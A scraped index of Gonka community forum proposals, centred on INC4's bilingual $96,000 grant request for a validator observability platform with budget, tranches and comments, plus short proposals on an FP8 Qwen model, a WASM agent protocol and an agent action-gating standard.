For the community: - A single source of truth for network health metrics - Consistent data that all participants can reference in discussions - Transparency into network operations
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#5-technical-approach", "title": "5. Technical Approach", "text": "The platform will be deployed on distributed cloud infrastructure, providing:
We will use well-established, industry-proven tools for observability: Prometheus for metrics collection, Grafana for dashboards and visualization, Alertmanager for notifications, Promtail/Loki for unified opt-in log aggregation, and PagerDuty for incident management and on-call escalation.
INC4 has hands-on experience building and operating observability infrastructure for blockchain networks. The choice of each component in the stack is driven by real-world operational requirements — reliability under load, ease of integration with existing validator setups, minimal resource overhead on the node side, and the ability to scale without rearchitecting as the network grows. This practical experience directly informs the architecture and tooling choices behind this platform.
The detailed architecture, including specific metric definitions, data flows, and exporter specifications, will be documented separately and will evolve as the platform matures.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#6-scope-and-deliverables", "title": "6. Scope and Deliverables", "text": "# Deliverable Description 1 Cloud infrastructure Production-ready observability stack on distributed cloud infrastructure with high availability, redundancy, and data retention 2 gonka-exporter Open-source exporter collecting Gonka node and AI compute metrics, kept up to date with every Gonka release 3 Unified opt-in log aggregation Searchable log collection from Gonka nodes and ML containers — validators experiencing issues can share logs for collaborative troubleshooting with the community and the Core Team 4 External endpoint health checks Automated reachability checks of validator reachability from independent external locations 5 Fleet Overview Dashboard Single view of the entire network — node statuses, miss rates, GPU utilization, sync state, and trends over time 6 Individual Node Dashboard Per-validator view with historical performance tracking and comparison against network averages 7 Custom dashboards Additional dashboards developed on request from the Core Team and individual validators, iteratively improved based on community feedback 8 Alert rules and SLA reports Alerting via Telegram, Discord, and PagerDuty. Automated SLA reports for validators and the Core Team 9 Onboarding documentation Step-by-step guide for validators to connect to the platform 10 Validator onboarding Hands-on onboarding support with a dedicated engineer during the initial rollout, followed by ongoing guidance for new validators 11 Incident response and advisory Help for individual validators and the Core Team with metrics interpretation, incident diagnosis, root cause analysis, and post-incident reviews 12 Ongoing maintenance Dedicated DevOps team ensuring platform reliability, compatibility with Gonka upgrades, and continuous operational improvements"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#7-budget-and-payment-schedule", "title": "7. Budget and Payment Schedule", "text": ""}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#summary", "title": "Summary", "text": "Category Annual Cost Basis Cloud infrastructure \\$18,000 ~\\$1,500/mo for managed Prometheus (metrics storage and querying), Grafana (dashboards and visualization), Alertmanager (notifications), Promtail/Loki (unified opt-in log aggregation), PagerDuty (incident management and on-call escalation), external endpoint health checks, and supporting infrastructure, includes metrics retention, log storage, and high-availability configuration with redundancy Infrastructure operations and maintenance \\$36,000 DevOps team with a combined allocation of 0.5 FTE (~\\$3,000/mo) for platform operations, incident response, compatibility verification after Gonka network upgrades, capacity planning, on-call support, backup and disaster recovery, performance tuning and optimization, access management for connected validators, infrastructure-as-code maintenance, and platform self-monitoring Exporter development and updates \\$12,000 Development and maintenance of gonka-exporter (Gonka-specific node and AI compute metrics), Promtail log collection configurations, Blackbox exporter probes, integration with node_exporter and GPU metrics exporters, and ongoing compatibility updates for new Gonka releases. Some advanced metrics may require changes to the Gonka node software — INC4 will collaborate with the Core Team to propose and implement the necessary API extensions Custom dashboards and custom alerts \\$12,000 Fleet overview and individual node dashboards, alert rules with Telegram and Discord notifications, SLA reports, development of custom dashboards on request from the Core Team, personalized dashboards for individual validators on request, and iterative improvements based on ongoing collaboration with the validator community Validator onboarding, incident response, and advisory \\$18,000 First 3 months — dedicated DevOps engineer for hands-on onboarding of initial validators and end-to-end system setup. Ongoing — documentation maintenance, onboarding guidance for new validators, hands-on support for individual validators and the Core Team in interpreting metrics, diagnosing incidents, coordinating remediation, root cause analysis, actionable recommendations, and post-incident reviews for network-wide events Total requested \\$96,000"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#payment-schedule", "title": "Payment schedule", "text": "Tranche Period Amount Covers 1 Months 1–3 \\$51,000 Cloud infrastructure setup and provisioning, core exporter and dashboard development, dedicated DevOps engineer for initial validator onboarding 2 Months 4–6 \\$15,000 Platform operations, maintenance, incident response, validator support, and continued development of custom dashboards and alert rules 3 Months 7–9 \\$15,000 Platform operations, maintenance, incident response, validator support, and iterative improvements to exporters and dashboards based on validator feedback 4 Months 10–12 \\$15,000 Platform operations, maintenance, incident response, validator support, and year-end usage and adoption reportVesting contact: https://github.com/rwxr-xr-x/gonka-usdt-vesting-schedule
Each tranche is paid on the first day of the respective period.
The first tranche is larger because it covers the infrastructure setup and the most development-intensive phase of the project.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#risks", "title": "Risks", "text": "The budget is calculated for one year. After the first year, the arrangement can be reviewed and renewed on the same or adjusted terms. INC4 will publish a transparent report on platform usage, adoption, and costs at the end of the grant period — giving the community a clear basis for the renewal decision. If the community decides not to renew, the fully configured and operational platform — including all infrastructure, code, and configurations — may be transferred to the Core Team.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#8-success-criteria", "title": "8. Success Criteria", "text": "What INC4 delivers: - Base version of the platform deployed and accepting metrics — within the first week, with continuous improvements and updates going forward - Exporter, fleet dashboard, and alerting available in base version — within the first month, continuously improved throughout the grant period - INC4 will actively assist validators who wish to connect — providing hands-on onboarding support alongside documentation in the GitHub repositories - All code, configurations, and dashboards published in public GitHub repositories — open for anyone to review, audit, or contribute
What depends on the community: - INC4 will actively support onboarding but cannot guarantee adoption levels, as participation is voluntary - Target — wide adoption across the network within the first year - Sunshine scenario: connecting to the platform becomes a standard part of every validator's setup
Key Performance Indicators: - Platform availability: 99%+ uptime throughout the grant period - Compatibility: platform verified and operational within 48 hours after each Gonka network upgrade - Onboarding: any validator can connect to the platform in under 30 minutes using provided documentation - Reporting: quarterly progress reports published to the community - Adoption: wide adoption across the network within the first year
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#9-team", "title": "9. Team", "text": "INC4 is an active participant in the Gonka ecosystem. We operate validators on mainnet and testnet, and develop applications for the Gonka network. This proposal grows out of our direct experience — we face the lack of network-wide visibility firsthand as validator operators and want to solve this problem for the entire network.
INC4 is involved in multiple initiatives across the Gonka ecosystem — the observability platform is one of them. For example, we also develop NOP (Node Onboarding Package) — an open-source utility for fast validator deployment (https://github.com/inc4/gonka-nop). Our commitment to the network is long-term and not limited to this proposal.
As a company, INC4 was founded in 2013, with 70+ engineers and 230+ delivered projects in blockchain infrastructure and AI systems. Hands-on experience in building and maintaining mining infrastructure for Bitcoin, Ethereum, Filecoin.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#5", "title": "💬 Комментарии (5)", "text": ""}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#1-rwxr-xr-x", "title": "Комментарий 1 — @rwxr-xr-x", "text": "2026-04-16 18:36 UTC
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#gonka-node-observability-platform_2", "title": "Gonka Node Observability Platform", "text": "Proposal от INC4 | 16 Апрель 2026
Запрос финансирования: \\$96,000 USD (USDT) на 12 месяцев
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#_2", "title": "Содержание", "text": "Существующие эксплореры и дашборды показывают только on-chain данные, оставляя off-chain состояние валидаторов полностью непрозрачным. Немногие операторы, которые всё же мониторят свою инфраструктуру, используют разные инструменты, разные метрики и разные baseline — что приводит к разным интерпретациям и затрудняет координацию при возникновении проблем. У сети нет единого источника правды и общего фреймворка для оценки здоровья валидаторов.
Даже сейчас, просто наблюдая за работой валидаторов, можно заметить, что многие не реагируют на технические проблемы вовремя — растущий Inference Miss Rate, падающий CPoC Ratio, отставание Network Node Sync. Эти паттерны сохраняются, потому что у операторов нет возможности увидеть ранние предупреждающие сигналы или получить экстренные алерты внутри собственной инфраструктуры.
Для решения этой проблемы INC4 — активный оператор валидаторов Gonka с практическим опытом в блокчейн-инфраструктуре и наблюдаемости — предлагает создать Gonka Node Observability Platform — open-source стек мониторинга с добровольным участием, который агрегирует off-chain метрики от Network-нод и ML-нод в общий, публично доступный дашборд. Платформа разворачивается на независимой облачной инфраструктуре — без использования ресурсов конкретных валидаторов и без предоставления кому-либо привилегированного доступа — чтобы все операторы имели равный доступ к данным и равную видимость.
Для Core Team — единое представление всей сети, видимость проблемных нод и временных периодов, данные для обоснованных решений по протоколу, SLA-отчёты и возможность оценить масштаб сетевых проблем до и после обновлений. Для Отдельных Валидаторов — алерты в реальном времени, сравнение производительности со средними по сети, добровольный обмен логами для помощи в диагностике и интерпретации метрик, и не нужно строить собственный стек мониторинга.
Обнаружение и предотвращение даже одного крупного общесетевого инцидента или серии более мелких инцидентов у отдельных валидаторов может сэкономить экосистеме значительно больше, чем годовая стоимость этой платформы. Главными выгодополучателями станут сами операторы валидаторов, которые несут прямые издержки от каждой пропущенной эпохи и каждого часа недиагностированного простоя — особенно индивидуальные хосты без выделенных DevOps-специалистов, для которых создание и поддержка сопоставимого стека мониторинга своими силами попросту нереализуемы.
Мы запрашиваем \\$96,000 в USDT на 12 месяцев с выплатой квартальными траншами для развёртывания и поддержки production-grade платформы — кастомные Gonka-экспортёры, общесетевые и индивидуальные дашборды, добровольная агрегация логов, внешние проверки доступности эндпоинтов, алертинг и SLA-отчётность, практический онбординг валидаторов, поддержка реагирования на инциденты и постоянная операционная поддержка. Весь код, конфигурации и дашборды будут open-source и опубликованы в публичных GitHub-репозиториях.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#2", "title": "2. Описание проблемы", "text": ""}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#off-chain", "title": "Off-chain состояние сети не видно", "text": "Gonka — растущая сеть с более чем сотней валидаторов, ещё большим количеством ML-нод и суммарным парком GPU, превышающим 3,000 карт. Существующие блокчейн-эксплореры и дашборды показывают on-chain данные — высоту блоков, транзакции, voting power. Но нет ни одного инструмента для наблюдения за off-chain состоянием сети: здоровье GPU, статус контейнеров, корневые причины miss rate, время загрузки моделей, метрики производительности LLM, тренды инфраструктуры и т.д. Каждый оператор мониторит свою инфраструктуру в изоляции — или не мониторит вообще. Те, кто мониторят, настраивают собственные инструменты, считают метрики по-разному и используют разные baseline — что приводит к недопониманию и путанице при обсуждении сетевых проблем.
В частности, существующие инструменты не показывают:
На практике валидаторы сталкивались с длительными периодами высокого miss rate или простоя инференса, не имея возможности определить причину. При этом у Core Team не было способа увидеть масштаб таких проблем по всей сети. Такие ситуации приводят к потере наград для операторов и замедленной реакции команды — проблемы, которые общая платформа мониторинга помогла бы обнаружить и решить значительно быстрее.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#_3", "title": "Что происходит без решения", "text": "Агрегация телеметрии и метрик от валидаторов в общий backend — устоявшаяся практика в блокчейн-индустрии. Множество крупных сетей уже это делают:
https://metrics.solana.com:3000https://telemetry.polkadot.iohttps://telemetry.polkadot.io/#list/Kusamatelemetry.nearone.org) и отправляет данные каждые 10 секундtelemetry.mainnet.aptoslabs.com) по умолчанию; архитектура задокументирована в публичной SPECotel.celestia.observer) для DA-нод, плюс Prometheus-based observability stack для consensus-нодЭто не экзотическая идея. Именно так зрелые блокчейны получают видимость здоровья своей сети, быстрее диагностируют проблемы и принимают решения об обновлениях протокола на основе данных.
Во многих блокчейн-сетях телеметрия с нод собирается без полного ведома операторов — телеметрия часто включена по умолчанию в софте ноды, а в некоторых случаях у операторов вообще нет возможности её отключить.
В отличие от этого, Gonka Node Observability Platform спроектирована как полностью opt-in система — валидаторы сами решают, участвовать ли, и никакие данные не собираются без их явного действия.
Чем больше валидаторов подключится, тем точнее и полнее будет картина здоровья сети. Платформа с 30% подключённых валидаторов даёт полезные инсайты; платформа с 80% становится надёжным источником правды для всей экосистемы.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#4", "title": "4. Предлагаемое решение", "text": ""}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#gonka-node-observability-platform_3", "title": "Gonka Node Observability Platform", "text": "Managed open-source стек мониторинга, куда операторы валидаторов добровольно отправляют off-chain метрики на общую платформу, поддерживаемую INC4.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#_5", "title": "Принципы дизайна", "text": "Принцип Реализация Open-source Все экспортёры, дашборды, правила алертов и конфигурации будут open-source и доступны для аудита любыми заинтересованными лицами Opt-in Участие добровольное. Ни один валидатор не обязан делиться данными — но каждый участник делает платформу ценнее для всей сети Push-based Ноды отправляют метрики наружу через HTTPS. Никаких новых входящих портов. Существующие конфигурации firewall сохраняются Не влияет на сеть Платформа — отдельный слой. Она не взаимодействует с консенсусом, производством блоков или выполнением инференса. Сбой платформы имеет нулевое влияние на работу сети Gonka Приватность Платформа будет собирать только метрики, необходимые для понимания здоровья и производительности валидатора — такие как высота блока, статус синхронизации, miss rate, утилизация GPU, статус контейнеров, использование ресурсов и т.д. Никакая чувствительная информация собираться не будет — никаких приватных ключей, балансов кошельков, мнемонических фраз или учётных данных"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#_6", "title": "Создаваемая ценность", "text": "Для Core Team: - Агрегированные метрики и логи всей сети в одном месте - Мгновенная видимость проблемных нод, эпох и временных периодов - SLA-отчёты и принятие решений об обновлениях протокола на основе данных - Поддержка реагирования на инциденты с анализом корневых причин
Для валидаторов: - Не нужно строить и поддерживать собственный стек мониторинга - Сравнение производительности своей ноды со средними показателями сети - Получение алертов через Telegram или Discord при проблемах - Возможность делиться логами для совместной диагностики при возникновении проблем - Доступ к дашбордам с любого устройства, включая мобильный - Практическая помощь в интерпретации метрик и диагностике инцидентов
Для сообщества: - Единый источник правды для метрик здоровья сети - Согласованные данные, на которые все участники могут ссылаться в обсуждениях - Прозрачность сетевых операций
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#5_1", "title": "5. Технический подход", "text": "Платформа будет развёрнута на распределённой облачной инфраструктуре, что обеспечивает:
Мы будем использовать хорошо зарекомендовавшие себя, проверенные индустрией инструменты для мониторинга: Prometheus для сбора метрик, Grafana для дашбордов и визуализации, Alertmanager для уведомлений, Promtail/Loki для унифицированной добровольной агрегации логов и PagerDuty для управления инцидентами и эскалации дежурств.
INC4 имеет практический опыт создания и эксплуатации инфраструктуры мониторинга для блокчейн-сетей. Выбор каждого компонента стека продиктован реальными операционными требованиями — надёжность под нагрузкой, простота интеграции с существующими настройками валидаторов, минимальные ресурсные затраты на стороне ноды и возможность масштабирования без перестройки архитектуры по мере роста сети. Этот практический опыт напрямую определяет архитектурные и инструментальные решения, лежащие в основе данной платформы.
Детальная архитектура, включая конкретные определения метрик, потоки данных и спецификации экспортёров, будет задокументирована отдельно и будет эволюционировать по мере развития платформы.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#6-scope-deliverables", "title": "6. Scope и Deliverables", "text": "# Deliverable Описание 1 Cloud-инфраструктура Production-ready стек мониторинга на распределённой облачной инфраструктуре с высокой доступностью, резервированием, бэкапами и хранением данных 2 gonka-exporter Open-source экспортёр, собирающий метрики Gonka-ноды и AI compute, поддерживаемый в актуальном состоянии с каждым релизом Gonka 3 Унифицированная добровольная агрегация логов Поисковый сбор логов с Gonka-нод и ML-контейнеров — валидаторы, испытывающие проблемы, могут делиться логами для совместной диагностики с сообществом и Core Team 4 Внешние проверки доступности эндпоинтов Автоматические проверки доступности валидаторов с независимых внешних точек 5 Fleet Overview Dashboard Единое представление всей сети: статусы нод, miss rate, утилизация GPU, состояние синхронизации и тренды во времени 6 Individual Node Dashboard Индивидуальное представление для каждого валидатора с историей производительности и сравнением со средними показателями сети 7 Кастомные дашборды Дополнительные дашборды по запросу Core Team и индивидуальных валидаторов, итеративно улучшаемые на основе обратной связи от сообщества 8 Правила алертов и SLA-отчёты Алертинг через Telegram, Discord и PagerDuty. Автоматические SLA-отчёты для валидаторов и Core Team 9 Документация онбординга Пошаговый гид для валидаторов по подключению к платформе 10 Онбординг валидаторов Практическая помощь в подключении с выделенным инженером на этапе первоначального развёртывания, далее — постоянная поддержка новых валидаторов 11 Реагирование на инциденты и консультации Помощь индивидуальным валидаторам и Core Team в интерпретации метрик, диагностике инцидентов, анализе корневых причин и разборе инцидентов 12 Постоянная поддержка Выделенная DevOps-команда, обеспечивающая надёжность платформы, совместимость с обновлениями Gonka и непрерывное операционное улучшение"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#7", "title": "7. Бюджет и график выплат", "text": ""}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#_7", "title": "Сводка", "text": "Категория Годовая стоимость Обоснование Облачная инфраструктура \\$18,000 ~\\$1,500/мес за managed Prometheus (хранение и запросы метрик), Grafana (дашборды и визуализация), Alertmanager (уведомления), Promtail/Loki (унифицированная добровольная агрегация логов), PagerDuty (управление инцидентами и эскалация дежурств), внешние проверки доступности эндпоинтов и вспомогательную инфраструктуру, включая retention метрик, хранение логов и отказоустойчивую конфигурацию с резервированием Операционная поддержка и обслуживание инфраструктуры \\$36,000 DevOps-команда с суммарной аллокацией 0.5 FTE (~\\$3,000/мес) для операционной поддержки платформы, реагирования на инциденты, проверки совместимости после обновлений сети Gonka, планирования ёмкости, дежурной поддержки, резервного копирования и аварийного восстановления, оптимизации производительности, управления доступами подключённых валидаторов, поддержки infrastructure-as-code и самомониторинга платформы Разработка и обновление экспортёров \\$12,000 Разработка и поддержка gonka-exporter (метрики Gonka-ноды и AI compute), конфигураций сбора логов Promtail, Blackbox exporter probes, интеграция с node_exporter и экспортёрами GPU-метрик, а также постоянные обновления совместимости под новые релизы Gonka. Реализация ряда продвинутых метрик может потребовать изменений в софте Gonka-ноды — INC4 будет сотрудничать с Core Team для проработки и реализации необходимых расширений API Кастомные дашборды и кастомные алерты \\$12,000 Общесетевой и индивидуальные дашборды, правила алертов с уведомлениями в Telegram и Discord, SLA-отчёты, разработка кастомных дашбордов по запросу Core Team, персонализированных дашбордов для индивидуальных валидаторов по запросу, а также итеративные улучшения на основе постоянного взаимодействия с сообществом валидаторов Онбординг валидаторов, реагирование на инциденты и консультации \\$18,000 Первые 3 месяца: выделенный DevOps-инженер для практического онбординга первых валидаторов и сквозной настройки системы. Далее: поддержка документации, помощь новым валидаторам в подключении, практическая помощь индивидуальным валидаторам и Core Team в интерпретации метрик, диагностике инцидентов, координации устранения проблем, анализ корневых причин, рекомендации по исправлению и разбор инцидентов для сетевых событий Итого запрос \\$96,000"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#_8", "title": "График выплат", "text": "Транш Период Сумма Покрывает 1 Месяцы 1–3 \\$51,000 Развёртывание и настройка облачной инфраструктуры, разработка основных экспортёров и дашбордов, выделенный DevOps-инженер для онбординга первых валидаторов 2 Месяцы 4–6 \\$15,000 Операционная поддержка, обслуживание, реагирование на инциденты, поддержка валидаторов и продолжение разработки кастомных дашбордов и правил алертов 3 Месяцы 7–9 \\$15,000 Операционная поддержка, обслуживание, реагирование на инциденты, поддержка валидаторов и итеративные улучшения экспортёров и дашбордов на основе обратной связи от валидаторов 4 Месяцы 10–12 \\$15,000 Операционная поддержка, обслуживание, реагирование на инциденты, поддержка валидаторов и отчёт об использовании и adoption по итогам годаКаждый транш выплачивается первого числа соответствующего периода.
Первый транш больше, так как покрывает развёртывание инфраструктуры и наиболее интенсивную фазу разработки проекта.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#_9", "title": "Риски", "text": "Бюджет рассчитан на один год. После первого года условия могут быть пересмотрены и продлены на тех же или скорректированных условиях. INC4 опубликует прозрачный отчёт об использовании платформы, adoption и расходах по итогам грантового периода — давая сообществу чёткую основу для решения о продлении. Если сообщество решит не продлевать, полностью настроенная и работающая платформа — включая всю инфраструктуру, код и конфигурации — может быть передана сообществу или Core Team.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#8", "title": "8. Критерии успеха", "text": "Что поставляет INC4: - Базовая версия платформы развёрнута и принимает метрики — в течение первой недели, с непрерывными улучшениями и обновлениями в дальнейшем - Экспортёр, общесетевой дашборд и алертинг доступны в базовой версии — в течение первого месяца, с непрерывным улучшением на протяжении всего грантового периода - INC4 будет активно помогать валидаторам, желающим подключиться — обеспечивая практическую поддержку онбординга наряду с документацией в GitHub-репозиториях - Весь код, конфигурации и дашборды опубликованы в публичных GitHub-репозиториях — открыты для просмотра, аудита и контрибуций от любого желающего
Что зависит от сообщества: - INC4 будет активно поддерживать онбординг, но не может гарантировать уровень adoption, так как участие добровольное - Цель: широкое adoption по сети в течение первого года - Sunshine-сценарий: подключение к платформе становится неотъемлемой частью настройки каждого валидатора
Ключевые показатели эффективности: - Доступность платформы: 99%+ uptime на протяжении всего грантового периода - Совместимость: платформа проверена и работоспособна в течение 48 часов после каждого обновления сети Gonka - Онбординг: любой валидатор может подключиться к платформе менее чем за 30 минут, используя предоставленную документацию - Отчётность: квартальные отчёты о прогрессе, публикуемые для сообщества - Adoption: широкое adoption по сети в течение первого года
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#9", "title": "9. Команда", "text": "INC4 — активный участник экосистемы Gonka. Мы эксплуатируем валидаторы на mainnet и testnet, разрабатываем приложения для сети Gonka. Этот proposal вырос из нашего прямого опыта — мы сами столкнулись с отсутствием общесетевой видимости как операторы валидаторов и хотим решить эту проблему для всей сети.
INC4 вовлечён в несколько инициатив в экосистеме Gonka — платформа наблюдаемости лишь одна из них. Например, мы также разрабатываем NOP (Node Onboarding Package) — open-source утилиту для быстрого запуска валидаторов (https://github.com/inc4/gonka-nop). Наше участие в сети — долгосрочное и не ограничивается данным proposal.
Как компания, INC4 основана в 2013 году, 70+ инженеров и 230+ реализованных проектов в блокчейн-инфраструктуре и AI-системах. Практический опыт в создании и поддержке майнинг-инфраструктуры для Bitcoin, Ethereum, Filecoin.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#2-andrey055", "title": "Комментарий 2 — @andrey055", "text": "2026-04-16 19:19 UTC
Hi guys, I’ve had experience working with you before, and in any case I sincerely wish you success and hope you remain with Gonka.
May I kindly ask whether it would be possible to cancel any of the future tranches if plans were to change later on?
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#3-rwxr-xr-x", "title": "Комментарий 3 — @rwxr-xr-x", "text": "2026-04-16 19:21 UTC
Vesting Contract: https://github.com/rwxr-xr-x/gonka-usdt-vesting-schedule
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#4-akup", "title": "Комментарий 4 — @akup", "text": "2026-04-18 06:50 UTC
Questions according to proposal:
It is very high-level view on the proposal and it seams to lack a lot of technical details that should be covered in the spec first before it could be applyed.
Moreover it would be much better to see first proof of concept
↳ Ответ от @rwxr-xr-x · 2026-04-18 07:50 UTC
The idea behind the proposal is to create a unified, open platform where these telemetry, metrics and logs can be aggregated. But yeah it might be not obvious that the metrics listed in the text are merely examples. If we were to list them all, they would bloat the sections where they need to be listed. Naturally, all proposed metrics will be added - this is what is meant by creating custom exporters. And adding new metrics is precisely one of the tasks an engineer is responsible for.
"}, {"location": "community/discussion/proposals/1085-inc4-gonka-node-observability-platform/#5-rwxr-xr-x", "title": "Комментарий 5 — @rwxr-xr-x", "text": "2026-04-18 07:51 UTC
This is a cover letter for a funding request. It typically includes a high-level overview of problem statement and proposed solution, without too much detailed information on the budget or technical implementation.
"}, {"location": "community/discussion/proposals/1090-qwen3-235b-a22b-instruct-2507-fp8-with-fp8-kvcache-as-the-fi/", "title": "#1090 — Qwen3-235B-A22B-Instruct-2507-FP8 with FP8 KVcache as the first multi model PoC launch model", "text": "🔄 Auto-sync: from Discussion #1090 every hour.
"}, {"location": "community/discussion/proposals/1090-qwen3-235b-a22b-instruct-2507-fp8-with-fp8-kvcache-as-the-fi/#qwen3-235b-a22b-instruct-2507-fp8-with-fp8-kvcache-as-the-first-multi-model-poc-launch-model", "title": "Qwen3-235B-A22B-Instruct-2507-FP8 with FP8 KVcache as the first multi model PoC launch model", "text": "Автор: @beatifull · Категория: Proposals · Создано: 2026-04-18 06:46 UTC · Обновлено: 2026-04-18 06:49 UTC
"}, {"location": "community/discussion/proposals/1090-qwen3-235b-a22b-instruct-2507-fp8-with-fp8-kvcache-as-the-fi/#_1", "title": "📝 Описание", "text": "Hello, I'm a gonka host with almost half a year of experience.
Motivation - I would like to suggest a first model to test multi model PoC, which will fit my setup and prepare the network for the smooth multi model PoC launch. I know the main goal: provide models to consumers that are in demand, but this is a nice option to test everything and make life for hosts easier. This will boost PCI-E cards, especially: 4x H100 PCI-E with two NVLINK islands with TP=2.
High-Level Solution - Enable Qwen3-235B-A22B-Instruct-2507-FP8 with FP8 kvcache as the first multi model PoC launch model.
Implementation: Just enable it as a first option in multi-model PoC
Roadmap - I think this is a nice option to test multi model PoC and make life of hosts easier. The same model, but with a different configuration.
Open Questions - This will make life easier for users with PCI-E setup and nvlink islands, like me. Because BF16 kvcache can't fit with TP=2 setup, and I get a lot of \"MISS\" penalties if I enable FP8 KVcache.
But I'm not sure if this is in demand by users or gonka developers.
"}, {"location": "community/discussion/proposals/1092-gip-neural-computation-protocol-ncp-v032-deterministic-wasm-/", "title": "#1092 — GiP: Neural Computation Protocol (NCP) v0.3.2 – Deterministic WASM Bricks + YAML Graphs for Fast, Auditable Agentic Systems", "text": "🔄 Auto-sync: from Discussion #1092 every hour.
"}, {"location": "community/discussion/proposals/1092-gip-neural-computation-protocol-ncp-v032-deterministic-wasm-/#gip-neural-computation-protocol-ncp-v032-deterministic-wasm-bricks-yaml-graphs-for-fast-auditable-agentic-systems", "title": "GiP: Neural Computation Protocol (NCP) v0.3.2 – Deterministic WASM Bricks + YAML Graphs for Fast, Auditable Agentic Systems", "text": "Автор: @madeinplutofabio · Категория: Proposals · Создано: 2026-04-20 14:07 UTC · Обновлено: 2026-04-20 14:07 UTC
"}, {"location": "community/discussion/proposals/1092-gip-neural-computation-protocol-ncp-v032-deterministic-wasm-/#_1", "title": "📝 Описание", "text": "Title: GiP: Neural Computation Protocol (NCP) v0.3.2 – Deterministic WASM Bricks + YAML Graphs for Fast, Auditable Agentic Systems
Author: madeinplutofabio Date: April 20, 2026
"}, {"location": "community/discussion/proposals/1092-gip-neural-computation-protocol-ncp-v032-deterministic-wasm-/#summary", "title": "Summary", "text": "NCP provides a lightweight, open protocol for composing tiny sandboxed WASM “Bricks” into static YAML graphs. It routes 90–97 % of agentic work (routing, validation, classification, policy checks) to deterministic microsecond paths, escalating to any LLM (or decentralized model) only when truly needed.
"}, {"location": "community/discussion/proposals/1092-gip-neural-computation-protocol-ncp-v032-deterministic-wasm-/#problem", "title": "Problem", "text": "Current agent frameworks still push even simple deterministic logic through expensive LLM loops. This explodes cost and latency in high-volume pipelines and creates audit / prompt-injection risks in decentralized setups.
"}, {"location": "community/discussion/proposals/1092-gip-neural-computation-protocol-ncp-v032-deterministic-wasm-/#proposed-solution-ncp", "title": "Proposed Solution – NCP", "text": "NCP is local-first, sandboxed, and trust-minimized. It dramatically reduces reliance on expensive/decentralized inference while keeping everything auditable and replayable.
Looking forward to community feedback!
"}, {"location": "community/discussion/proposals/1093-gip-provenance-intent-contracts-pic-v075-local-first-action-/", "title": "#1093 — GiP: Provenance & Intent Contracts (PIC) v0.7.5 – Local-First Action Gating for Verifiable AI Agents", "text": "🔄 Auto-sync: from Discussion #1093 every hour.
"}, {"location": "community/discussion/proposals/1093-gip-provenance-intent-contracts-pic-v075-local-first-action-/#gip-provenance-intent-contracts-pic-v075-local-first-action-gating-for-verifiable-ai-agents", "title": "GiP: Provenance & Intent Contracts (PIC) v0.7.5 – Local-First Action Gating for Verifiable AI Agents", "text": "Автор: @madeinplutofabio · Категория: Proposals · Создано: 2026-04-20 14:10 UTC · Обновлено: 2026-04-20 14:10 UTC
"}, {"location": "community/discussion/proposals/1093-gip-provenance-intent-contracts-pic-v075-local-first-action-/#_1", "title": "📝 Описание", "text": "Title: GiP: Provenance & Intent Contracts (PIC) v0.7.5 – Local-First Action Gating for Verifiable AI Agents
Author: madeinplutofabio Date: April 20, 2026
"}, {"location": "community/discussion/proposals/1093-gip-provenance-intent-contracts-pic-v075-local-first-action-/#summary", "title": "Summary", "text": "PIC is an open standard that forces AI agents to prove intent + provenance + evidence before any high-impact tool call (payments, writes, external APIs, etc.). It operates 100 % locally and fails closed by design.
"}, {"location": "community/discussion/proposals/1093-gip-provenance-intent-contracts-pic-v075-local-first-action-/#problem", "title": "Problem", "text": "In decentralized agent systems there is currently no reliable way to verify that an agent’s proposed action actually matches the user’s intent or that the inputs are trustworthy. Prompt injection and hidden reasoning make high-stakes actions dangerous.
"}, {"location": "community/discussion/proposals/1093-gip-provenance-intent-contracts-pic-v075-local-first-action-/#proposed-solution-pic", "title": "Proposed Solution – PIC", "text": "intent, impact, provenance, claims + evidence, and action. strict_trust mode and attestation draft PIC provides the missing \"verifiable intent\" layer for any agent stack. It is lightweight, local-first, and designed to work alongside decentralized inference and tool-calling layers.
Looking forward to community feedback!
"}, {"location": "community/discussion/proposals/1153-cosmos-sdk-fork-genesisgo151-158-panics-on-appd-export-init-/", "title": "#1153 — cosmos-sdk fork: genesis.go:151-158 panics on `appd export → init` — mirror existing PoC skip pattern from delegation.go?", "text": "🔄 Auto-sync: from Discussion #1153 every hour.
